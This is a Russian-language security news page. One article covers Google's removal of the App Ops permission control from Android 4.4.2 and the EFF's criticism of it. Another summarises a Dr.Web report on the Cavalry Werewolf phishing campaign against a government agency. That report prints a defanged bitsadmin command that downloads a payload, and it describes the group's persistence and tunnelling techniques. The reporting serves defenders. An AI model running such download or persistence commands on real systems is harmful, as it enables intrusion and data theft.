Google "подозрительно" удалила полезную функцию из Android

Google "подозрительно" удалила полезную функцию из Android

Выпущенное на этой неделе обновление Android 4.4.2 для устройств Google Nexus лишилось функции, которая давала пользователям возможность тонкой подстройки привилегий, относительно доступа к системе со стороны установленных приложений. Подобный шаг Google подвергли критике в некоммерческом фонде Electronics Frontier Foundation.


Удаленная функция называется App Ops и впервые она была выпущена в Android 4.3. Она имела интерфейс, через который пользователи могли предоставлять или отзывать те или иные привилегии у приложений, когда работают с ними или устанавливают их. Традиционно Android предоставляет приложению любо все привилегии, которые оно запрашивает, либо не предоставляет их. Тонкая грануляция привилегий, реализованная в App Ops, это именно то, чего многие специалисты и продвинутые пользователи ждали от операционной системы, пишет cybersecurity.ru.

По словам специалистов, многие приложения, в особенности бесплатные, идут в комплекте со множеством рекламных библиотек, которые помогают разработчикам финансировать создание приложения. Очень часто приложения умалчивают о наличии в них дополнительного функционала, который требует наличия доступа к пользовательским данным и системной информации.

На прошлой неделе компания Goldenshores Technologies, разработчик популярных Android-приложений, урегулировала претензии со стороны Федеральной комиссии по торговле США, которая заявляла, что компания собирала данные о местоположении пользователей и обменивалась этими сведениями срекламными агентствами, не уведомляя пользователей. В компании согласились раскрывать, какие именно данные компания раскрывает и запрашивать разрешения на их дистрибуцию.

Хотя App Ops присутствует в Android 4.3, к нему нет прямого доступа у пользователей, он активизируется, когда пользователь начинает работать или инсталлировать стороннее приложение. Однако у пользователей есть возможность скачать сторонние программы, такие как Permission Manager или AppOps Launcher, из Google Play и работать с программой.

В блоге Electronic Frontier Foundation говорится, что App Ops была очень полезной функцией и она была «громадным подспорьем» в деле безопасности данных в Android. Также организация упрекнула Google в «недостаточном энтузиазме» в деле защиты своих пользователей. «Мы провели тесты и можем ответственно заявить, что функции App Ops в Android 4.4.2 уже нет», - говорит Питер Экерсли, директор по технологиям EFF. «Ее исчезновение - это тревожные новости для Android. Тот факт, что пользователи больше не имеют контроля над приложениями, представляет собой большую брешь в модели безопасности Android».

По его словам, EFF связывался с Google с целью получить разъяснения относительно программы и в компании заявили, что все это время App Ops была экспериментальной программой и сейчас работа App Ops может повредить работе некоторых других программ. В EFF говорят, что считают объяснения Google «подозрительными» и полагают, что можно было бы улучшить работу полезной разработки, а не удалять ее из системы.

Отметим, что Google изначально попыталась убрать App Ops из Android 4.4 KitKat, однако сторонние разработчики выявили возможность обхода блокировки.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru